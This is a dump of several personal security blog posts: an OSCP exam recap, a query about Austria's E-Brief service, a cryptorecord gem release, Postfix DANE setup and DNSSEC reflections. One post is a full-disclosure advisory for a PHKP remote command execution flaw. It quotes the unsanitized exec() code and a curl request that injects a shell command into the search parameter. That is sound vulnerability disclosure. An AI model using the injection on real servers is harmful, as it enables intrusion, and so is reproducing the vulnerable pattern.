href="/tags/security" hreflang="en">Security</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Programming" hreflang="en">Programming</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/c" hreflang="en">C</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/sysadmin" hreflang="en">Sysadmin</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=275&amp;2=comment&amp;3=comment" token="n9usVfEUtf7byg_DtY0U2-fcm665S_LxRZ3k1aaN8cE"></drupal-render-placeholder> </section> Mon, 14 Jan 2019 20:06:52 +0000 Hoti 275 at https://tech.feedyourhead.at I "tried harder" and passed the exam https://tech.feedyourhead.at/content/oscp <span class="field field--name-title field--type-string field--label-hidden">I &quot;tried harder&quot; and passed the exam</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p><img alt="oscp" data-entity-type="file" data-entity-uuid="8718df2a-31d3-46d8-a49b-f690e04168f1" src="/sites/default/files/inline-images/offsec-student-certified-emblem-rgb-oscp_0.png" /></p> <p>The "<a href="https://www.offensive-security.com/information-security-certifications/oscp-offensive-security-certified-professional/">Offensive Security Certified Professional</a>" is a unique penetration testing certification offered by the company "<a href="https://www.offensive-security.com/">Offensive Security</a>". After registering the students will receive course materials and a VPN connection to a huge lab with many vulnerable servers. Everything has to be learned autodidactically using the course materials and the Internet. The grand finale of this certification is the 24-hours exam where the students have to proof that they have the knowledge and the routine to penetrate systems in a quite short amount of time.</p> <p>I tried to complete the course and the lab in two months and I really did all the exercises and studied the complete materials. Even if I was experienced before, I learned a lot. To hack the different servers in the lab was so much fun, but also kind of exhausting. I was so excited and full with ideas in my mind, that I had some troubles with sleeping. Due to private life, I had not so much time for studying. That's why it took me one month for the course materials and exercises. After that I just had another month for the lab. There is am IRC channel at <a href="https://freenode.net/">Freenode</a> and a forum. Both can be very helpful for the lab. My recommendation for people who want to earn the extra points that you can get by reporting the lab: start writing the report immediately when the lab starts. It takes much time to write the report and the exercises.</p> <p>The exam wasn't as hard as I expected. Although it could get very difficult if you get stuck with something. In the end it is a creative process with all it's traps. I was very lucky with some things and found them quickly. After 8 hours I had most of the points and at the end I completed all exercises. The exam report is a lot of work. It took me a while and I regretted that I didn't start writing immediately after the exam was over. I really really recommend to document as detailed as possible during the exam.</p> <p>I want to thank the "Offensive Security"-team for this amazing experience.</p></div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">Jan 08 2019</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/security" hreflang="en">Security</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/news" hreflang="en">News</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=274&amp;2=comment&amp;3=comment" token="5mF1AQi1zyVAq21jQb-cngdGJm97tvmeo2RL85JMvtk"></drupal-render-placeholder> </section> Tue, 08 Jan 2019 11:48:03 +0000 Hoti 274 at https://tech.feedyourhead.at What the hack is "E-Brief" https://tech.feedyourhead.at/content/words-about-e-post <span class="field field--name-title field--type-string field--label-hidden">What the hack is &quot;E-Brief&quot;</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>This week I received an email from my bank company. They advertised that they are cooperating with the "Post"(Austrian mailprovider) and recommended to use "E-Brief" for notifications from them. My first thought was: "it's E-Mail". Because E-Brief translated from german means: "E-Mail". So I took a look in the FAQ's from the Post and they wrote things like(translated from German):</p> <blockquote> <p>Your E-"Letter Box" from everywhere</p> </blockquote> <blockquote> <p>High security</p> </blockquote> <blockquote> <p>E-Brief is not E-Mail. Documents, policies and bills will be transmitted digitally and delivered to your "E-Briefkasten"(Letterbox). It's not just comfortable and fast but also secure. Emails are transmitted insecure but E-Brief is delivered in a secure and certificated portal(E-Briefkasten).</p> </blockquote> <p>I have my own mailserver that can DANE. So E-mails aren't always transported insecure. We have standardizes protocols and techniques for that, that's why I wonder what the Post does differently. Maybe they do end-to-end encryption. But why didn't they mention that in the FAQs? If they do end-to-end encryption, are the private keys secured with a password that only the person who receives the email knows? I had a lot of questions, so I wrote the Post an Email and just asked:</p> <blockquote> <p>I would like to know more technical details about E-Brief. Which methods are used for transport encryption? Which methods are used for content encryption? How do you store the data? Do you do backups? Is the backup encrypted? How do you ensure that only the recipient can access to the mailbox? Is your webapplication secure and what do you do to ensure that it is?  </p> </blockquote> <p>I waited very naively for a honest reply and after a few days I got at least a reply(translated from German):</p> <blockquote> <p>Of course we do end-to-end encryption. For security reasons we are not allowed to give you more details about E-Brief</p> </blockquote> <p>It is very interesting that they didn't mention end-to-end encryption in the FAQ's. When it comes to encryption, I prefer open standards and open-source. I want to know whats behind it in order to trust it or not. In the digital world "THINGS" happen so easily. "THINGS" like manipulating data or unauthorized reading it. Today data can be accessed from everywhere and if we are dealing with very important data, we have to be aware of the dangers.</p></div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">Dec 08 2018</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/security" hreflang="en">Security</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/news" hreflang="en">News</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=272&amp;2=comment&amp;3=comment" token="kiyx9mxMz42HhQhOz9MKiOMvCbuLYfrZf675ph_t41w"></drupal-render-placeholder> </section> Sat, 08 Dec 2018 09:50:17 +0000 Hoti 272 at https://tech.feedyourhead.at Full Disclosure: Remote-Command-Execution in PHKP https://tech.feedyourhead.at/content/full-disclosure-remote-command-execution-in-phkp <span class="field field--name-title field--type-string field--label-hidden">Full Disclosure: Remote-Command-Execution in PHKP</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><h3>Overview</h3> <ul><li>System affected: <a href="https://el-tramo.be/phkp/">PHKP</a></li> <li>Software-Version: including commit <span class="sha-block"><span class="sha user-select-contain">88fd9cfdf14ea4b6ac3e3967feea7bcaabb6f03b</span></span></li> <li>User-Interaction: Not required</li> <li>Impact: Remote-Code-Execution</li> <li>CVE: CVE-2018-1000885</li> </ul><h3>Detailed Description</h3> <p>According to the project-page "PHKP is an implementation of the <a href="https://tools.ietf.org/html/draft-shaw-openpgp-hkp-00">OpenPGP HTTP Keyserver Protocol (HKP)</a> in PHP". Due to unsanitized query parameters in the <a href="https://tools.ietf.org/html/draft-shaw-openpgp-hkp-00#page-3">/pks/lookup-call</a> any shell-command can be injected and executed remotely.</p> <p>In line <a href="https://github.com/remko/phkp/blob/88fd9cfdf14ea4b6ac3e3967feea7bcaabb6f03b/phkp.php#L106-L107">106 of phkp.php the search-parameter "/pks/lookup&amp;op=index" is assigned without any checks and in line 107</a> this variable will be used as a parameter of exec():</p> <div class="geshifilter"><pre class="php geshifilter-php" style="font-family:monospace;">  <span style="color: #000088;">$search</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$vars</span><span style="color: #009900;">[</span><span style="color: #0000ff;">'search'</span><span style="color: #009900;">]</span><span style="color: #339933;">;</span> <span style="color: #000088;">$pgp_result</span> <span style="color: #339933;">=</span> pgp_exec<span style="color: #009900;">(</span><span style="color: #0000ff;">"--list-public-keys --list-keys <span style="color: #006699; font-weight: bold;">$search</span>"</span><span style="color: #339933;">,</span> <span style="color: #000088;">$output</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span> </pre></div> <p>It is possible to inject any shell commands using the search-parameter:</p> <p><span class="geshifilter"><code class="bash geshifilter-bash">curl http:<span style="color: #000000; font-weight: bold;">//</span>localhost:<span style="color: #000000;">8008</span><span style="color: #000000; font-weight: bold;">/</span>pks<span style="color: #000000; font-weight: bold;">/</span>lookup?<span style="color: #007800;">op</span>=index<span style="color: #000000; font-weight: bold;">&amp;</span><span style="color: #007800;">search</span>=js<span style="color: #000000; font-weight: bold;">@</span>example.com; <span style="color: #c20cb9; font-weight: bold;">id</span></code></span></p> <p>In line <a href="https://github.com/remko/phkp/blob/88fd9cfdf14ea4b6ac3e3967feea7bcaabb6f03b/phkp.php#L116-L117">116 and 117</a> the same problem occurs again for the "/pks/lookup&amp;op=get"-call. That means that the remote-code-execution occurs in two places.</p> <h3>Proof-Of-Concept</h3> <p>A ordinary lookup coud be the following:</p> <p><img alt="Normal phkp-lookup" data-entity-type="file" data-entity-uuid="83e75e46-8ca9-4cfe-a717-ca2535521734" src="/sites/default/files/inline-images/2018-10-08-13%3A14%3A35.png" /></p> <p>By injecting shell commands to the search-parameter, it is possible to execute any command:</p> <p><img alt="phkp rce" data-entity-type="file" data-entity-uuid="ba2c925d-adac-4faf-a1bb-d5477140702e" src="/sites/default/files/inline-images/phkp-rce.png" /></p> <h3>Mitigation</h3> <p>Currently there is no fix for this bug. The <a href="https://github.com/remko/phkp/issues/1">author was informed on Jul 18 2018</a>. A solution for this problem might be the <a href="http://php.net/manual/en/function.escapeshellcmd.php">escapeshellcmd()-function</a>.</p> <h3>Credits</h3> <p>The remote-code-execution bug was discovered by Wolfgang Hotwagner(https://tech.feedyourhead.at/content/full-disclosure-remote-command-execution-in-phkp)</p> </div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">Oct 08 2018</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/taxonomy/term/107" hreflang="en">CVE</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Programming" hreflang="en">Programming</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/security" hreflang="en">Security</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/sysadmin" hreflang="en">Sysadmin</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=270&amp;2=comment&amp;3=comment" token="cK_p_W5RhnZKxZrNTKP6lTqyEefrgqU5bitXNJBBEVM"></drupal-render-placeholder> </section> Mon, 08 Oct 2018 11:23:39 +0000 Hoti 270 at https://tech.feedyourhead.at cryptorecord 0.9.2 released https://tech.feedyourhead.at/content/cryptorecord-0-9-2-released <span class="field field--name-title field--type-string field--label-hidden">cryptorecord 0.9.2 released</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>I proudly pronounce the first (pre-)release of <a href="https://github.com/whotwagner/cryptorecord">cryptorecord</a>. Cryptorecords is a ruby gem that provides an API and scripts for creating crypto-related dns-records(e.g. DANE). Currently it supports TLSA, OPENPGPKEYS and SSHFP but I plan to support other records in future. The API doesn't create any keys or certificates. It just takes existing keyfiles to create the DNS-records.<br /> &nbsp;</p> <ul> </ul> <h3>Installation</h3> <p>The gem is available on <a href="https://rubygems.org/">Rubygems</a>. Add this line to your application's Gemfile:</p> <pre> <code> gem 'cryptorecord' </code></pre> <p>And then execute:</p> <pre> <code> $ bundle </code></pre> <p>Or install it yourself as:</p> <pre> <code> $ gem install cryptorecord </code></pre> <h3>Usage</h3> <p>This gem comes with a bunch of handy executables that helps creating the dns-records:</p> <ul> <li>openpgpkeysrecord</li> <li>sshfprecord</li> <li>tlsarecord</li> </ul> <pre> <code> Usage: ./openpgpkeysrecord -u <email> -f <gpgkeyfile> -h, --help This help screen -f PGP-PUBLICKEY-FILE, PGP-Publickey-File --publickeyfile -u, --uid EMAIL email-address </gpgkeyfile></email></code></pre> <pre> <code> Usage: ./sshfprecord [ options ] -h, --help This help screen -f SSH-HOST-KEY-FILE, SSH-Hostkey-File --hostkeyfile -H, --host HOST host -d, --digest DIGEST HASH-Algorithm -r, --read-local-hostkeys Read all local Hostkeys.(like ssh-keygen -r) </code></pre> <pre> <code> Usage: ./tlsarecord [ options ] -h, --help This help screen -f, --certfile CERTIFICATE-FILE Certificatefile -H, --host HOST host -p, --port PORTNUMBER port -P, --protocol PROTOCOL protocol(tcp,udp,sctp..) -s, --selector SELECTOR Selector for the association. 0 = Full Cert, 1 = SubjectPublicKeyInfo -u, --usage USAGE Usage for the association. 0 = PKIX-CA, 1 = PKIX-EE, 2 = DANE-TA, 3 = DANE-EE -t, --mtype MTYPE The Matching Type of the association. 0 = Exact Match, 1 = SHA-256, 2 = SHA-512 </code></pre> <h4>TLSA-Example</h4> <pre> <code> #!/usr/bin/env ruby require 'cryptorecord' selector = 0 mtype = 0 usage = 3 port = 443 proto = "tcp" host = "www.example.com" tlsa = Cryptorecord::Tlsa.new(:selector =&gt; selector, :mtype =&gt; mtype, :usage =&gt; usage, :port =&gt; port, :proto =&gt; proto, :host =&gt; host ) tlsa.read_file("/etc/ssl/certs/ssl-cert-snakeoil.pem") puts tlsa </code></pre> <h4>SSHFP-Example</h4> <pre> <code> #!/usr/bin/env ruby require 'cryptorecord' sshfp = Cryptorecord::Sshfp.new(:digest =&gt; 1, :keyfile =&gt; '/etc/ssh/ssh_host_rsa_key.pub', :host =&gt; 'www.example.com') puts sshfp </code></pre> <h4>OPENPGPKEYS-Example</h4> <pre> <code> #!/usr/bin/env ruby require 'cryptorecord' sshfp = Cryptorecord::Openpgpkeys.new(:uid =&gt; "hacky@hacktheplanet.com") sshfp.read_file("resources/hacky.asc") puts sshfp </code></pre> <h3>Documentation</h3> <p>The documentation can be found at <a href="https://www.rubydoc.info/gems/cryptorecord/">rubydoc.info</a></p> </div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">May 17 2018</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/ruby" hreflang="en">Ruby</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/download" hreflang="en">Download</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/downloads" hreflang="en">Downloads</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Programming" hreflang="en">Programming</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/security" hreflang="en">Security</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/crypto" hreflang="en">Crypto</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/network" hreflang="en">Network</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=266&amp;2=comment&amp;3=comment" token="8fEI7N9n01EddQ0Ug03YejZAPosvCE9slAcfuGxj-AI"></drupal-render-placeholder> </section> Thu, 17 May 2018 10:13:20 +0000 Hoti 266 at https://tech.feedyourhead.at Postfix: verified TLS with DANE https://tech.feedyourhead.at/content/postfix-verified-tls-with-dane <span class="field field--name-title field--type-string field--label-hidden">Postfix: verified TLS with DANE</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>TLS via SMTP is <a href="https://en.wikipedia.org/wiki/Opportunistic_TLS">opportunistic</a> which makes connections vulnerable to man-in-the-middle-attacks. In order to prevent mitm-attacks, <a href="https://en.wikipedia.org/wiki/DNS-based_Authentication_of_Named_Entities">DANE</a> could be used. The sender-server will first check the domain-records if dnssec is in use(and valid) and if a TLSA-record is published(and valid). If a TLSA-record is valid and matches with the certificate of the recipient-server the connection could be encrypted and the encryption is verified. Postfix was one of the first smtp-servers that implemented DANE since the <a href="https://tools.ietf.org/id/draft-dukhovni-smtp-opportunistic-tls-00.html">author of the DANE protocol is a postfix-developer</a>. This article describes how to enable DANE in postfix.</p> <h3>Preconditions</h3> <p>It's very easy to enable DANE in postfix. First we have to ensure that postfix can resolve DNSsec queries. I recommend to install the dns-resolver "<a href="https://unbound.net/">unbound</a>" on the postfix-server. Unbound does DNSsec pretty well. It also automatically manages the trust-anchors for DNSsec. We can check if DNSsec works, if the "ad"-flag is set. So lets use dig to test it:</p> <pre> <code>&gt; DiG 9.9.5-9+deb8u15-Debian &lt;&lt;&gt;&gt; gov. +dnssec ;; global options: +cmd ;; Got answer: ;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 35764 ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 0, AUTHORITY: 4, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags: do; udp: 4096 ;; QUESTION SECTION: ;gov. IN A </code></pre> <p>As we can see, the "ad"-flag was set. If we use a resolver without dnssec-support it would look like that:</p> <pre> <code> % dig gov. +dnssec ; &lt;&lt;&gt;&gt; DiG 9.8.4-rpz2+rl005.12-P1 &lt;&lt;&gt;&gt; gov. +dnssec ;; global options: +cmd ;; Got answer: ;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: SERVFAIL, id: 25074 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags: do; udp: 4000 ;; QUESTION SECTION: ;gov. IN A </code></pre> <p>As you can see, there is no "ad"-flag in this example. That indicates that DNSsec is not supported by the resolver.</p> <h3>Postfix-config</h3> <p>As soon as we set up a resolver with dnssec-support, we can easily enable DANE in postfix:</p> <pre> <code> # DANE-Settings smtp_dns_support_level=dnssec smtp_host_lookup=dns smtp_tls_security_level = dane smtp_tls_loglevel=1 </code></pre> <p>Now postfix will always try to verify the TLS-connection using DANE. If you just want to enable DANE for specific domains, I'll recommend have a look at the <a href="http://www.postfix.org/TLS_README.html#client_tls">example in the postfix-documentation</a>.</p> <h3>Test</h3> <p>We can test DANE by sending Emails to a server that has TLSA-Records. There is a list of domains with TLSA-records at the end of <a href="https://static.ptbl.co/static/attachments/169319/1520904692.pdf?1520904692">this pdf</a>. I just tested DANE by sending an email to a gmx.net-address:</p> <pre> <code> May 12 21:26:59 mymailserver postfix/smtp[3064]: Verified TLS connection established to mx01.emig.gmx.net[212.227.17.5]:25: TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits) </code></pre> <p>The keyword "Verified" indicates that the TLS-connection could be verified.</p> <p>&nbsp;</p> </div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">May 14 2018</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/sysadmin" hreflang="en">Sysadmin</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Linux" hreflang="en">Linux</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/security" hreflang="en">Security</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/crypto" hreflang="en">Crypto</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/email" hreflang="en">Email</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/mail" hreflang="en">Mail</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=265&amp;2=comment&amp;3=comment" token="oDTTj6SHpFvGYUI319oXvKTZNvcKlQalAHTJrUNU044"></drupal-render-placeholder> </section> Mon, 14 May 2018 12:11:10 +0000 Hoti 265 at https://tech.feedyourhead.at Thoughts about DNSsec https://tech.feedyourhead.at/content/thoughts-about-dnssec <span class="field field--name-title field--type-string field--label-hidden">Thoughts about DNSsec</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p><a href="https://en.wikipedia.org/wiki/Domain_Name_System">DNS</a> is one of the oldest but also one of the most important network protocols we have and actively use. Dan Kaminsky discovered 2008 some <a href="https://www.kb.cert.org/vuls/id/800113">serious flaws</a> in DNS <a href="http://unixwiz.net/techtips/iguide-kaminsky-dns-vuln.html">which is very well explained on this site</a>. <a href="https://blog.cloudflare.com/dnssec-an-introduction/">DNSsec</a> is supposed to solve those problems.</p> <h3>Why don't we have it worldwide yet?</h3> <p>DNSsec uses a chain of trust and signed records. There are some problems with DNSsec too. One problem, for example, is that it doesn't protect against attacks from the governments. In conjunction with DANE, which could be a replacement for the existing Certificate-Authorities, DNSsec could make things <a href="https://sockpuppet.org/blog/2015/01/15/against-dnssec/">worser than it was before</a>.  Another problem is  that the records might get bigger and this makes it easier for attackers to abuse the <a href="https://www.computerworld.com/article/3097364/security/attackers-use-dnssec-amplification-to-launch-multi-vector-ddos-attacks.html">dns-servers for ddos-attacks</a>. In order to keep the records smaller, some DNS-servers  use <a href="https://www.cloudflare.com/dns/dnssec/ecdsa-and-dnssec/">elliptic curve-algorithms</a>. But elliptic curve-algorithms aren't supported widely and many tools still don't support records that are signed with elliptic curve-algorithms.</p> <h3>It's easy to monitor, right?</h3> <p>Talking about tools brings me to another thing that bothers me: there aren't much solid tools that work properly out there for Dnssec. It was very hard to find some monitoringtools or libraries that check if the Domain is signed correctly and when the keys do expire. I won't say that there are none, but it seems that there are a lot of broken tools out there. There are many reasons for that. Those tools have to speak DNS, DNSsec and all it's cryptographic algorithms. Some tools are old and don't compile anymore, or have weird dependencies. Some don't speak DNSsec directly and just utilize unbound. And some speak DNS and DNSsec but not with elliptic curve algorithms. I hope this situation changes soon.</p> <h3>Providers are familiar with DNSsec, right?</h3> <p>When I was activating DNSsec on my domain, I had to interact with my domain-provider. I realized that this provider has no standard procedure for DNSsec yet. There was no secure way to hand him over my keys(or hashes). That made me curious about the state of DNSsec in austrian companies. And I figured out that not many companies use DNSsec. Neither the biggest internet service providers nor the local banks have implemented DNSsec yet. I guess they might do that, as soon as Google starts using DNSsec(if it happens).</p> <h3>So why bother after all?</h3> <p>There are a couple of dns-records which solve some existing problems but require trusted domains. One of them is DANE/TLSA. Even if many SMTP-servers support TLS now, it still is opportunistic and they are vulnerable against Man-In-The-Middle-attacks. If people would have a trusted dns-zone, they could store the certificates(or fingerprints) as DNS-records and the other mailservers could validate the certificates. I believe this could be a good thing(as long as we trust the keys of the top-level domains). Since "email made in germany" has failed many german mail-provider(like web.de and gmx) use DANE. That's why I decided to give DNSsec a try.</p> <p> </p></div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">May 08 2018</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/security" hreflang="en">Security</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/crypto" hreflang="en">Crypto</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/network" hreflang="en">Network</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/sysadmin" hreflang="en">Sysadmin</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=264&amp;2=comment&amp;3=comment" token="BkT2xG6szICCwLsMrGEzc3x_9jyQKcl2VUooQikCslE"></drupal-render-placeholder> </section> Tue, 08 May 2018 09:36:20 +0000 Hoti 264 at https://tech.feedyourhead.at